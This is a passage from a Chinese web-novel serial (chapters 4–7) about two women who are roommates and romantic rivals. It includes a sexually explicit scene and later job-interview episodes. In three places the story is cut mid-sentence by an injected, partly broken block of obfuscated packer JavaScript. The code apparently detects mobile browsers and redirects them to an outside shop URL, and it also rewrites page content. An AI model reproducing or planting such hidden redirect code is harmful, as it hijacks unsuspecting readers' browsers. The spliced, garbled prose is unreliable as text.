不知是错觉还是什么,她总觉得暖白灯光下,程清姿的眼睛似乎轻轻弯了一下,像是在笑。 可秦欢凝神看去,那人脸上又没什么表情了。 程清姿垂着眸,并不看秦欢,不知是懒得理她还是确实被她那番话伤到了,那只纤瘦的手搭在腿上的热水袋处,指尖轻轻摩挲着绒布表面,若有所思。 秦欢忽地有点心虚。 她和岳雨桐确实没可能,但凡岳雨桐给过她错觉,她都会勇敢说出口。可秦欢知道,程清姿和岳雨桐那边的关系,跟自己和岳雨桐不太一样。 程清姿性子冷冰冰的,不善言辞。以她的性格,如果不能百分之百确定对方的心意,她是绝不会贸然开口说爱、去打破现有关系的。 至于岳雨桐…… 这人似乎从来就没把情爱这种事放在心上,高中时一心扑在学习上,上了大学、直到现在读研也依旧如此。就算她心里真的有什么,以她们眼下这种稳定又亲密的关系,岳雨桐也不太会主动去捅破那层窗户纸。 所以,互相喜欢却心照不宣地维持着现有关系这么多年这种事,还真有可能发生在程清姿和岳雨桐身上。 秦欢咳了一下,因程清姿有这样一个特殊的可能性而不爽。 喉咙也有点不爽。 于是本来计划进房间的脚步拐了个方向,秦欢走到饮水机旁接了几杯水,连灌了好几杯凉水,才觉得喉咙里的干涩缓解了一些。 舌头舔了下嘴唇,上面似乎还有点干。 秦欢把空杯子放在饮水机台面上,饮水机咕噜咕噜的注水声从粗犷渐渐变得尖锐,杯中液面摇晃上浮。 “秦欢。” 被程清姿连名带姓叫了一声,秦欢吓了一跳,扭头看向沙发上坐着的程清姿,语气里带上面对程清姿惯有的戒备,“干什么?” 情敌面色不太好,隐隐约约像找茬。 “你辞掉工作来鹭围,是为了岳雨桐?” 毕竟秦欢家境不错,父母都是体制内,又是独生女,秦欢找的第一份工作就是在老家。 程清姿大概并不知道她跟家里人吵架了,所以有这样的猜测,也很正常。 秦欢来鹭围,其实并非为了岳雨桐。不过……既然程清姿这么问了,那答案也就只能有一个。 “是啊。”她抬了抬下巴,语气轻快,甚至刻意带上了点理所当然。 秦欢没有维持情敌好心情的义务。 但她有给情敌添堵的热心肠。 程清姿垂下了眼,视线从秦欢身上移开。 抬手,骨节分明的手指擦过锁骨,几缕微卷的黑发不经意缠在指尖,黑白交织,漫不经心。 她动作很缓,将那缕发丝轻轻拨开,然后将衬衫的第二颗纽扣,一丝不苟地扣了回去,那截清瘦的锁骨,也就在秦欢眼中消失了。 非礼勿视,秦欢忙别过头,吨吨给自己灌了一杯水。 心里那点不爽慢慢升腾。 ——程清姿有什么资格这么问她? 她自己还不是为了岳雨桐留在鹭围。 秦欢深吸一口气。 放下水杯,噔噔噔几步走到程清姿面前。隔着茶几,她瞥了对方一眼,弯腰伸手,把茶几上放着的那瓶向日葵端了起来。 动作幅度太大,以至于程清姿抬起眼,轻轻挑了下眉看她。 秦欢把花紧紧抱在怀里,扭头就往卧室走。走出几步,忍不住回头,程清姿果然在看她,眼神淡淡的,似乎是觉得她脑子有病,一束花从卧室搬到客厅,现在又要从客厅搬到卧室。 秦欢挺直背脊,抬着下巴倨傲地宣告:“我买的花,不想给你看。” “搬来搬去,你不累么?”程清姿的视线只是在她怀里的花上轻轻一扫,便又落回她脸上,那双眼睛很亮,眸子里映着的水光忽然晃了晃。 看得秦欢起了一层鸡皮疙瘩。 她的预感果然没错。 因为下一秒,程清姿忽然极轻地笑了一下,笑意很淡,和她原本的气质并不相符,此刻却莫名和谐地融在一起。 “我现在也看见你了,”程清姿斜斜靠着沙发扶手,托着腮,“怎么,你要把自己也包起来么?” 鸡皮疙瘩掉了一地。 倒不是因为程清姿笑着呛她,而是因为这语气和神情都有点太轻了,甚至带着点难以言喻的……调笑? 神经病。 她和程清姿是能调笑的关系吗?这果然是高级的讥讽。 对面那人的笑转瞬就冷了下来,秦欢眨了眨眼,硬邦邦回了一句:“你把眼睛遮起来不就好了!” 不等程清姿再有什么反应,她气冲冲地抱着花,快步躲进卧室,“砰”一声关上了门。 这扇门今天受的罪有点多。 秦欢坐在床边,偏头看着那扇刚刚被她甩上的门,心里短暂地,替它可怜了一秒。 风从窗户吹进来,有点凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149541|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,秦欢爬起来关了窗,拉上窗帘,爬回床上准备睡觉。 不许再想程清姿的事了! 秦欢给自己下足了心理暗示,闭上眼睛,脑袋陷进枕头里。 今天折腾了一整天,身体和精神都透支得厉害,关了灯没多久,睡意便沉沉地围了上来,这倒算是件好事。 不太好的是,睡前灌下去的那一大杯水,在凌晨时分化作了不容忽视的尿意,硬生生把她从睡梦里拽了出来。 房间里一片昏暗。 秦欢闭着眼,迷迷糊糊地从枕头底下摸出手机,屏幕亮起的光刺得她眯了眯眼。 快十二点了。 秦欢开了灯,脾气很重地穿鞋下了床,开门,走去卫生间上了个厕所。 这一趟下来,睡意醒了大半,秦欢有点烦躁,这意味着一会儿回去还要花费不少时间酝酿睡意。 秦欢站在洗漱台前,拧开水龙头,凉水从手心手背流过,困意不停削减。 人是愈发清醒了。 ——都怪程清姿,要不是程清姿,她能喝那么多水吗? 秦欢关上卫生间的灯和门,借着客厅壁灯昏暗的光晕往回走。经过程清姿房门口时,她下意识瞥了一眼。 客厅光线晦暗,一道明晃晃的光线却从程清姿卧室门缝底下笔直地投出来,在昏暗的地板上切出一片醒目的亮白。 ……这么晚了,程清姿居然还没睡? 残余的睡意因这点好奇心而烟消云散,听力也变得灵敏了些,她隐约听见程清姿房间里传来些细微的动静,听不真切……有点像压抑的、难受的闷哼? 秦欢记起程清姿的胃痛,总不会又犯了吧…… 她抬手揉了揉眼睛,不自觉朝那道亮白走了几步,靠在门边,想要听得更清楚些。 突然,里面传来一阵“噼里啪啦”的碎裂声,像是什么东西摔碎了。秦欢脑子一空,想也没想就推门冲了进去! 灯果然是亮着的。 地上摔了个小夜灯,咕噜咕噜滚到秦欢脚边。 程清姿躺在床上,一条黑色缎带蒙着眼睛,眉心紧蹙,嘴唇咬得泛白,额发微湿,看起来像是正忍受着什么痛苦。 难道是疼得失去意识了! 秦欢心下一急,把小夜灯踢到一边,快步走到床边,“喂!程清姿!” 她一把扯下蒙在程清姿眼上的黑布,伸手就去掀被子,扶住对方肩膀想把人拉起来。 情况紧急,得赶紧送医院。 被子被一把掀开。 ——被薄汗浸湿的雪白起伏毫无遮掩闯入视线。 秦欢愣了一下。 僵在原地。 细腻的肌肤在灯光下泛着暧昧红晕,随着急促的呼吸轻轻起伏。秦欢视线不受控制地顺着那片细腻往下滑,掠过微微战栗的腰腹,往下。 直到此刻。 她终于听清房间里——细微的、持续的、被被褥闷住的、震动的嗡嗡声。 这是…… 程清姿贴在她怀里。 赤裸的手臂贴着秦欢的身体,触感温热,甚至有些发烫。馥郁香气顺着手臂往上攀爬,勒住秦欢脖颈。 秦欢的大脑一片空白。 许久。 模糊听见程清姿略显沙哑却依旧冷淡的声音: “要看多久?” 5. 第 5 章 视野模糊又清晰。 听力也被程清姿那句没什么调子的话勾得异常敏锐。 秦欢听见自己粗重的喘息,听见被子里嗡嗡嗡的声响,听见程清姿抿唇又轻轻张开的呼气声。 妖孽似的。 房间里很亮。 那片跟着程清姿呼吸节奏起伏的软白,一颤一颤的,软白上的樱红小珠在灯光下泛出细碎的光,一跳一跳地,蛮横撞进秦欢视线。 程清姿的心跳声好大。 一下一下的,震得秦欢心口都跟着发疼。 温香软玉上的那颗朱砂似的痣,似是被疯狂搏动的心脏带动,活色生香地晃了起来,晃得秦欢眼底发烫,嘴唇干涩。 秦欢喉咙艰难地滚了一下,视线仓皇上移,掠过那片惊心的雪白,扫过那截她今天不知偷偷瞟了多少次的锁骨,刮过那段线条优美的脖颈,最终落在程清姿脸上。 女人的神情依旧是惯有的冷,目光淡漠,脸颊却泛着不正常的潮红。 眼底湿润,氤氲着一层说不清是痛楚还是别的什么的雾气,长睫被细汗打湿,黏在眼睑上,有种在秦欢看来很别扭的、却不得不承认的、惊心动魄的漂亮。 秦欢:!!! 她猛然醒神! 她这是在干什么? 她正抱着赤身裸体的情敌,对方面色潮红、呼吸不稳,并且刚刚冷声警告她还要看多久,而她被这旖旎的画面迷得失了智,迷迷糊糊的,又将对方看了个遍。 像是被烫到似的,秦欢猛地松开手,把人摔开。 程清姿跌回床上,发出一声闷哼,秦欢再不敢停留,转身夺门而出。 几乎是落荒而逃。 冲出房间,穿过客厅,撞开大门,扑进电梯,狂奔下楼,闯入昏暗夜色。 还不够。 还要再逃得更远些。 心脏跳得厉害,猛烈地撞击胸腔,秦欢手掌压在胸口上,试图压住混乱躁动的心跳。她冲出小区外,在路边拦了辆出租车钻进去。 一回神已经跑出几公里外。 各色车灯和路灯的光束透过玻璃,一道一道扫进来,在女人脸上明明灭灭滚过。 车上女人许久不应声,神情又十分恍惚和慌乱,呼吸节奏听着也不太对劲,很是急促。趁着红灯间隙,司机师傅从后视镜里看了女人一眼。 这已经是她第五次开口问了,语气比之前明显多了迟疑和关切: “女士你好,你……你要去哪儿啊?我这车是打表走的……” 司机师傅边说话边看后视镜里的女人,“您是不舒服吗?……需要送您去医院吗?” 秦欢摇了摇头,把脑海中混乱的画面甩开。 她沉沉呼出一口气,抬手抹了把脸看向窗外,确认外面都是陌生风景,不会再撞见程清姿,她才出声道:“我没事师傅,就在这里下吧。” 出租车靠路边停下,流动的灯光随之静止。 秦欢扫码付款,推门下了车。 已是凌晨十二点过,风带着凉意迎面扑来。 秦欢茫然地站在桥上,任由晚风吹了好一会儿,直到脖子上和脸上的汗渐渐干透,不大舒服地糊在皮肤上。 昏黄路灯在脚下拖出一道模糊影子。 秦欢扶着冰凉的护栏,望着桥下流动的车影,逐渐生出一股庞大的绝望。 闭眼,睁眼。 呼吸声混着风声一起落入耳畔。 秦欢抬起手,对着掌心轻轻呵了口气。 一点酒味也没有,她没喝酒,不存在是她幻想的情况。 所以…… 她深深吸了一口冰凉的夜风,到底还是没忍住,从齿缝间低低挤出一个字: “……操。” 慌张和混乱已经褪去,理智回归,紧接着铺天盖地的荒谬感将秦欢围得密不透风。秦欢头皮发麻,太阳穴突突狂跳,恨不得仰天长啸—— 不是? 程清姿有病吧!!! 秦欢被气笑了,咬牙切齿地笃定:程清姿脑子绝对有病! 到底是谁能刚和情敌互相冷嘲热讽完,明知道对方就在一墙之隔的隔壁,转过头就在房间里……那样啊?! 而且,还不关门…… 还不穿衣服! 程清姿这是把合租房当她一个人的家了吗?简直是……简直是无法无天! 秦欢气得心口发堵,一股火气没处撒,烦得想张嘴把眼前这堵水泥护栏啃下一块嚼。 牙齿磨得吱嘎响,她猛地抬手,作势狠狠拍向护栏。最后一刻还是理智占了上风,手掌硬生生在半空刹住,只轻轻落了下去。 那酝酿到一半的火气,就这么不上不下地憋了回去,噎得秦欢更难受了。 程清姿到底在想什么? 秦欢想起那张面色潮红神色却冷淡的脸,想起程清姿光溜溜的身体靠在她怀里时的温软触感——简直比恐怖电影还恐怖,这会儿也抖落秦欢一身鸡皮疙瘩。 实在是太诡异了。 程清姿干嘛那样! 秦欢又开始烦躁起来,手指无意识地蜷紧又松开。 细微的异物感勒在指缝间,她抬起手,借着路灯昏暗的光线仔细一看,左手食指和中指的指缝间,缠着一根头发。 长的,微卷的。 缠在她之间,一路逃过来,秦欢太过惊慌,并未察觉。 晚风轻轻吹着,那根头发在秦欢掌心轻轻颤抖。 秦欢觉得今晚的风有点大,吹得她眉头不自觉皱起,连视线都跟着轻轻晃动。 她忽然低下头,鬼使神差凑近掌心。晃动的发丝轻轻擦过鼻尖,就在一瞬间,秦欢恍惚又闻到了那阵很浅很淡的、熟悉的香气。 熟悉?……熟悉吗? 不,她和程清姿一点都不熟悉。 她猛地直起身,将那根发丝从掌心拿远,好像是什么特别可怕的东西。 没等她多想,一阵较大的风刮过,那根纤细的发丝从她指尖挣脱,轻飘飘朝着桥下坠去。秦欢下意识伸手去捞,却只徒劳地抓了一把空。 那根纤弱的发丝不过几秒,就彻底消失在桥下深沉的夜色和流动的车河里,再也看不见。 秦欢盯着那片空荡荡的虚空,眼眸忽然一晃,她咬住下唇,用力撑住酸胀的眼睛。 “程清姿!”到底还是忍不住,咬牙喊出名字,秦欢以为自己很大声,都做好迎接难堪的准备了,可声音出口却细弱得像呓语,轻易就被桥上呼啸的车流声淹没了。 “程清姿……” 她艰难地吸了一口气,声音陡然低了下去,身体顺着冰凉的护栏往下滑,秦欢蹲在地上,蜷缩着,额头抵住膝盖,咬牙怨恨道:“——你怎么可以这样……” 凌晨,桥上行人并不多,秦欢蹲在墙根,眼泪掉得很凶。 简直比四个月前的那次撕破脸的大吵还没出息。 秦欢一边暗暗怒骂自己,一边抬起手背胡乱地擦脸,用力吞咽着,试图把喉间断断续续的呜咽声给压回去。 “喂!小姑娘!你没事吧?” 身后忽然传来一声的叫喊。 秦欢转过头,看见一辆收摊回家的小三轮煎饼车正停在桥边马路上。 摊主大姐神色担忧地看着女孩,声音却放得格外温柔:“姑娘,有什么事想开点。你看你这么年轻漂亮,可千万别为了不值得的人做傻事啊……” 她刚才骑车上桥的时候就看见这女孩趴在栏杆上,想爬上去跳桥,后来似乎是放弃了,女孩却哆嗦着蹲了下去。她骑车走进,看见女孩蜷缩成一团,肩膀一耸一耸抖动,分明是在哭。 “有什么过不起的难关呀,你跟大姐说说……” “啊?”秦欢忙站起来,用力抹了把眼泪,“姐,你误会了,我没有……” 应该是刚才伸手捞的动作让大姐误会了,秦欢忙解释:“我那是……我——”她顿了顿,“我钱被吹下去了,我不是要跳桥。” 她朝大姐走近几步,语气诚恳:“我真不是想轻生。” 大姐这才彻底松了口气,脸上露出宽慰的笑:“看你哭得那么伤心,我还以为你是跟对象分手了,失恋想不开呢……” 秦欢一愣,程清姿那张冷冰冰的脸瞬间跳进脑海。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149542|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她声音稍稍低了些:“没有。” 没有什么分手伤心……她只是在心疼自己那笔打了水漂的打车费,还有今晚注定要额外支出的酒店钱! 今晚是肯定不能回去了,她的心理素质还没强大到能立刻若无其事地跟程清姿共处一室。 都是因为程清姿,害得她有家不能回,大半夜流落街头! 她向大姐道了谢。大姐摆手笑了笑,嘱咐她早点回家,骑着三轮车离开了。 秦欢仰头看了看昏沉无星的天色。凌晨已过,她抖了抖肩膀,沿着桥慢慢走了下去。 随意找了家酒店,困意一阵阵涌上来。夜深至此,她这会儿连埋怨程清姿的力气都提不起。 “您好,请出示下身份证。” 秦欢下意识应了一声,伸手去摸口袋——动作却在半途僵住了。 逃得那么仓皇,哪还记得带上身份证。 她站在原地,几乎想笑。 原来还有更难堪的局面等着自己。 没有身份证住不了酒店。 秦欢挠头,自暴自弃地想:……要不睡大街算了。 冷风卷过街角,秦欢缩了缩肩膀。 沉默许久,到底走到路边,伸手拦下一辆车。 坐进车里时,最后一点困意也被心头那股气给冲散了。她盯着窗外飞速后退的夜色,咬着牙想: 这来回的打车费,被折腾掉的时间,还有大半夜没合眼的账,她非要跟程清姿一笔一笔算清楚不可。 也只敢脑嗨而已。 等真到了楼下,进了电梯,看着楼层数字一下下跳动,秦欢那股气势又不知不觉泄了下去。电梯门“叮”一声打开时,她甚至踌躇了几秒才走出去,慢慢挪到门前。 其实这么晚了,按照程清姿那个强大的心理素质,她应该已经睡了。 开如果现在悄悄开门进去,动作轻一点,直接溜回自己房间,应该不会被发现。至于明天该怎么面对程清姿……那是明天的事了。 好不容易给自己做好了心理建设,秦欢深吸一口气,伸手去摸口袋里的钥匙。 摸到了空气——她今晚没带钥匙出门。 哈哈。 她转过身背依靠着门,身影在走廊昏暗灯光下略显凄凉。 现在要怎么办? ……要不去肯德基过一夜?还是给房东打电话,去房东那里拿钥匙? 秦欢深吸一口气。 怎么想都觉得不爽。 凭什么?毫无顾忌□□的人是程清姿,为什么现在畏首畏尾、辗转难眠的却是自己?凭什么她要为了拿钥匙去打扰本已休息的房东,或者委屈自己去肯德基凑合一宿? 明明是程清姿的错! 尴尬又怎样?不知道如何面对又怎样?程清姿都不觉得难堪,她又何必在这里自我折磨? 对,她应该打电话,现在就打!就算程清姿睡着了,也得爬起来给她开门! 秦欢怒气冲冲掏出手机,指尖在通讯录里飞快下划,直到停在“程清姿”这个名字上。快要按下去的瞬间,秦欢有些迟疑了。 四个月前,是她先拉黑了程清姿的微信。 那么,程清姿会不会为了回敬她,也把她的手机号拖进了黑名单? ……不管了! 电话拉黑了就敲门!程清姿给她造成这么大的困扰,凭什么这会儿还能好好睡觉! 只是想法是一回事,实践又是另外一回事。秦欢承认自己还是有所谓的自尊在的,尽管自尊在这会儿显得异常别扭,甚至拖她后腿。 屏幕上的名字亮着,指尖悬空,那通电话始终没能拨出去。 身后门忽然悄无声息开了—— 秦欢整个身体都倚在门上,猝不及防间失去支撑,惊呼一声向后倒去。 没有预想中摔在冰冷地板的疼痛。 后背跌进一个温热柔软的怀抱。 一只手臂揽住秦欢的腰,力道稳稳将她护住。 好闻的香气随之漫开,像是刚烘焙过的白茶,混着一点清冷的雪松尾调,不急不缓地,笼罩住秦欢慌乱的呼吸。 6. 第 6 章 其实秦欢并不知道刚烘焙过的白茶是什么味道,她平时不喷香水,对所谓前中后调毫无研究,也闻不出雪松尾调。 只是觉得用这样的词来形容,很适合,很贴切。 客厅的主灯没有开,只开了辅灯,昏黄灯光落下,有种不合时宜的浪漫。 一呼一吸间那股气息恍惚要和她融为一体,腰间那只手骨骼分明,存在感极强——此刻穿了衣服,触感不及那会儿温热。 另一股气息从颈后吹来,擦过她耳畔,秦欢瞬间绷直身体。 撑着腰上那只手,秦欢站稳身体,脖颈紧绷着,扭头偏向一旁看向底下的鞋柜,躲避着那道呼吸,以及那道视线。 腰上的手松开了。 那道视线也一并移开了。 秦欢如释重负,轻轻低着头,下意识嗅那道正在远离的气息。 门“吧嗒”一声关上,骨节分明的手拨了下旋钮,程清姿把门锁好,刚回头,就听见玄关的阴影里传来秦欢的发问: “你怎么知道我在外面?” 程清姿说:“门上有可视门铃,门外有动静我手机上会有提示,我以为有小偷。” “你——”秦欢猛地扭头。 视线在触及那张昏昧冷淡的脸时,秦欢愣了下,轻轻蹙眉,这会儿也顾不得刚被呛了一句的恩怨,迅速把头转过去。 “噢!”她颇有怨气地应了一声,再不理身后的程清姿,咚咚咚往卧室走。 直到卧室门关上,秦欢像个特工似的靠在门背后,耳朵贴在门上,听见程清姿走回房间的脚步声,才缓缓松了一大口气。 折腾到大半夜,秦欢脱力躺在床上。 已经过了睡觉的那个点,更别说秦欢心中有事,因此关灯躺在床上半个小时还睡不着。秦欢“噌”的一声坐起来,无能狂怒地砸了下枕头。 可恶的程清姿!爽也爽了,睡也睡得香,留她一个人在这里辗转难免! 她可是签了半年的合同…… 先不说这半年能不能和程清姿和平相处,就说明天……明天怎么办啊,她要怎么和程清姿相处?今天她是跑了,跑出去,又跑回房间,那明天呢? 秦欢没办法,只能上小红书发帖求助,死马当活马医 发完帖子,秦欢放下手机,又觉得有点渴了。 她盯着靠窗桌上的向日葵看了几分钟,还是渴,想了想,决定去客厅喝杯水。 目光不小心掠过程清姿房门,灯没开,应该是睡着了。 只是…… 秦欢脚步顿住,借着客厅壁灯的光,她眨了眨眼—— 程清姿又不关门! 之前好歹是虚掩着,这会儿是直接大喇喇开着,客厅的微弱灯光落进去,映出里头明暗不一的昏暗轮廓。 模糊看见里头的床影,秦欢心中警铃大响,连忙关了客厅的灯,老鼠似的逃窜回自己的安全小窝,爬上温热的床。 在床上怔怔坐了几秒,她又翻身下床,走到门边“咔哒”一声拧上反锁。反复确认锁牢后,才重新蜷回床上。 秦欢隐约觉得事情有点严重。 程清姿不会是个暴露狂吧?或者有什么小众癖好?……秦欢想起推门而入时,包裹在被子里的那具赤裸身体。 ……还是说对她如此放心? 又或者,通过这种方式来羞辱她。 绝对是的。 秦欢在昏暗中蹙紧眉头,愈发确信,程清姿就是在刻意羞辱她。 果然还是那个熟悉的、睚眦必报的程清姿,四个月前给她的那场难堪还不够,如今重逢第一天,就急不可耐地,迫不及待地,变着法羞辱她。 还好刚才跑出去了,不然被程清姿看见她狼狈的模样,指不定怎么嘲讽她。 但明天…… 秦欢又开始头疼。 她翻了个身趴在床上,重新点亮屏幕,点开那个求助帖。 标题:【不小心撞见室友紫薇怎么办?在线等,挺急的。】 内容:半夜听见室友房间有声音,以为出了什么事,闯进去才知道她在diy,而且她没有穿衣服。现在不知道怎么办了? 短短几十分钟,底下已涌出一大片评论。 热评一:室友?哪种室友,是生活西化的室友,还是普通室友?、 秦欢回复:普通室友。 想了想又补充:很普通的那种,关系不好。 热评二:二十分钟过去了,博主没有回复,是去扣扣空间了吗? 秦欢愣了一下,随即:…… 这都什么跟什么?! 热评三:没穿衣服啊……那你室友身材曼妙吗? 秦欢想了想,心道:挺曼妙的。 半夜吃瓜网友格外活跃,一连串评论滑下去,大部分是看热闹不嫌事大、乱出馊主意的,剩下一部分在莫名嗑cp,还有少数几个试图拼凑还原场景的。 秦欢划动着屏幕,试图从一片混乱中挑出认真提供建议的回复。 其中一个高赞回答格外显眼,被顶到了前排: 【她不问,你不说;她一问,你惊讶。】 初看觉得荒谬。 但秦欢反复琢磨了几遍,越想越觉得有道理。 甚至是太有道理了。 不管程清姿是无意的还是故意羞辱她,这都是最好的应对方法。 ……装傻是吗? 谁不会。 想通了这一点,秦欢接下来好睡多了,刷了几页小红书,给几个家长里短的帖子判案,手机一关眼睛一闭,没多久就睡着了。 前半夜折腾太久,秦欢这一觉睡得很沉。 天边翻起鱼肚白,太阳从城市高楼间隙升起来,没有云层阻挡,金色的阳光倾泻而下,将整座城市唤醒。 闹钟滴滴响了两声,被一只骨节分明的手按住。 程清姿睁开眼,在昏暗里缓了几秒钟,撑着床坐起来。 下床,“唰”一声拉开窗帘。天空碧蓝,万里无云,今天是个好天气。 快速洗漱完毕,她经过客厅 洗漱完毕,她经过客厅时朝另一扇房门瞥了一眼。门紧闭着。 程清姿收回视线,眼睫微垂,几秒后若无其事走回房间。 从衣柜里取出一件质地挺括的丝质衬衫,对着落地镜细致整理衣领与袖口。镜中人眉眼清冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149543|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轮廓被落进房间的晨光镀上一层淡金色的边。 将笔记本电脑收进通勤包后,程清姿朝外走去,又在卧室门口停下脚步。 手指压了压门把,锁舌没有一点动静,依旧静悄悄躲在里头,果然是坏掉了。 下班后叫师傅来换吧。 这笔账,她暂且记秦欢头上了。 到公司楼下的时候时间还早,程清姿在钉钉上打了个卡,转身进了楼下的早餐店。她点了屉小笼包和一杯豆浆,在靠窗的位置坐下。 昨晚没怎么吃东西,今早其实也没什么胃口,但程清姿还是勉为其难把小笼包吃完了。豆浆实在喝不下,只喝了半杯。 到了工位,办公室里的人陆陆续续来了。 透过整面的落地窗望出去,楼宇密集整齐,远处有工地正在施工,新的地铁线路往外蜿蜒延伸。 程清姿在窗边静静看了一会儿,听见身后有人叫她的名字。 是公司的人事主管华思文。 “前几天发你的那几个候选人资料,都看了吧?今天下午约了面试,你有时间参与吗?” “都看过了。”程清姿转过身,“下午我要去培训,已经和老板报备过,你先面一轮,老板面一轮,我那边会同步接入腾讯会议旁听。辛苦你安排。” “没事,”华思文耸了耸肩,玩笑道,“这是给你选助理,人之后也是你带,你都不亲自面一下吗?万一不合眼缘什么的……还有,你对候选人的星座、MBTI有偏好吗?” “没有,”程清姿语气平淡,淡笑,“至于眼缘……别长得太惊悚就行。” 垂眼,低头把手里的杯子合上盖子。 窗外高楼林立,车流如织。 日头悄然爬升,一晃眼便到了正午时分。 秦欢从被子里钻出来,头还有点晕。 顶着鸡窝一样的发型坐在床上,偏头看着窗外刺眼的阳光,她发了几十分钟呆,状态才慢慢变得清醒。 睡得晚头疼,睡得多也头疼。 下床洗漱后才算彻底清醒。秦欢看了眼时间,给自己点了份外卖,随后点开微信的新消息。 是今天面试的HR发来的提醒:【今天下午三点面试,别忘记啦~】 这个岗位是岳雨桐的朋友帮忙内推的,公司还不错。在秦欢这些天见识过各式“妖魔鬼怪”公司之后,这家已经算得上非常体面。 简历关已经过了,就看下午这场面试了。 吃完外卖,秦欢化了个淡妆,挑了身还算得体的衣服,又对着岗位JD仔细看了几遍,复习了一遍自我介绍和可能被追问的问题。 两点过,秦欢挎着包出了门。经过客厅时,秦欢没忍住往隔壁程清姿那扇门看了眼。 门依旧大喇喇开着。 一个不注意,视线又往里钻了。 卧室布置得简洁利落,整体是干净的蓝白调,性冷淡风格,一如程清姿表面给人的感觉。 视线往里,忽而定住。 床头柜上躺着一只被打碎的蓝色小夜灯——是昨晚滚到秦欢脚边的那一盏。 秦欢猛地收回视线,冷着脸蹙起眉,扭头快步出了门。 7. 第 7 章 因不熟悉路线,秦欢到得早了些。 抵达面试公司楼下时,离约定时间还有二十分钟。她在楼下的书店闲晃了一会儿,看时间差不多了,才去前台登记,坐电梯上楼。 今天的面试体验总体还算顺畅。秦欢面的是无经验要求的助理岗,面试官并未追问刁钻的问题,氛围也相对平和,不像前天那家公司,人还没坐稳,就挨了一顿居高临下的pua。 只是面试官似乎有点忙碌,面前的笔记本电脑一直亮着,她时不时侧身去调试设备。秦欢被她的动作吸引,目光不由得跟了过去。 面试官察觉后笑了笑,解释道,这个岗位的直属上司今天无法到场,所以接入了腾讯会议同步参与。 秦欢轻轻点头,心想这位上司架子倒不小,又或者说是真忙。 希望不是个难缠的上司。 人事主管面了四十分钟,看样子是对秦欢挺满意的。 “稍等一下,”她起身说,“我去请老板过来。” 第二轮是老板亲自面试,只问了几个常规问题,秦欢按事先准备好的答案从容应答。 几分钟后老板起身,推开小会议室的门走了出去。人事主管正等在外面,秦欢隐约听见她们交谈:“还行,问问她那边怎么想的。” 最终决定权似乎落在那位未曾露面的上司手里。 她回头,朝对面一直立着的笔记本电脑摄像头看了一眼。不知道腾讯会议是只开了声音,还是连摄像头也一起开了。 人事主管很快进来进行第三轮沟通,主要谈了期望薪资和一些其他细节。聊得不多,结束后仍是那句熟悉的“回去等消息”。 下了楼,秦欢拧开面试官给的矿泉水,仰头喝了一口,随即点开手机地图,输入了今天第二家公司的面试地址。 第二场面试约在下午五点。 下午第二场面试的体验感并不好,hr简单和秦欢聊了几句后就叫来了公司老板,公司老板先礼后兵,简单问了秦欢几个问题后就开始讲述自己的创业过程,商业版图以及行业远见。秦欢心道糟了,在老板开口后的第十分钟忍不住打断,声称自己要去趟卫生间,然后直接溜了。 天有些热,秦欢抽出纸巾给自己擦了擦脖子,到底有些挫败。 这都什么牛鬼蛇神公司,浪费求职者的时间和精力,还有她好几块钱的地铁费用!真该多跟HR打探几句再约面试的。 秦欢在路边买了杯奶茶,边喝边往地铁口走。 路边绿化丰茂,树木高大,翠绿树叶过滤闷热阳光,雪白光斑在人行道上跳动,偶尔爬上秦欢脖颈和脸颊,又跳到她手里的奶茶上。 秦欢忽然接了个来电。 是今天第一家面试公司打来的。电话那头通知她面试通过了,HR简单说明了入职相关事宜,确认秦欢的意向。得到肯定答复后,对方表示offer稍后会发到她的邮箱,请她注意查收。 入职时间定在下周一。也就是说,秦欢需要在接下来两天内完成入职体检、办理指定银行的工资卡,并准备好其他所需材料。 时间虽然有些紧,但秦欢心里还是比较开心的。那家公司给她的第一印象确实不错——这是她面试这么多家公司以来,唯一一家提供面试补贴的。一百块钱,不算多,却足够难得。 她轻轻跳了起来,踮着脚转了个小圈,手里的奶茶险些晃出来。 秦欢第一时间把这个好消息分享给了岳雨桐,又补了一条消息: 【雨桐,这次真的多亏你了!对了,你那位帮我内推的朋友是谁呀?以后就是同事了,我想请她吃个饭,当面谢谢她。】 趁着时间还早、身份证也带在身上,秦欢抓紧去了银行办理工资卡。 近年来因为电信诈骗管控严格,银行对新开卡审核很严,至少要出示录用证明。秦欢在柜台边等了一会儿,直到offer邮件发到手机,才顺利办完后续流程。 今天办卡,明早去附近医院做入职体检,后天还能和岳雨桐约饭。 秦欢从银行走出来,深深吸了一口浸着黄昏阳光的空气,双手轻轻在唇前一压,随即朝外散开,送给世界一个轻快的飞吻。 太阳缓缓没入地平线。 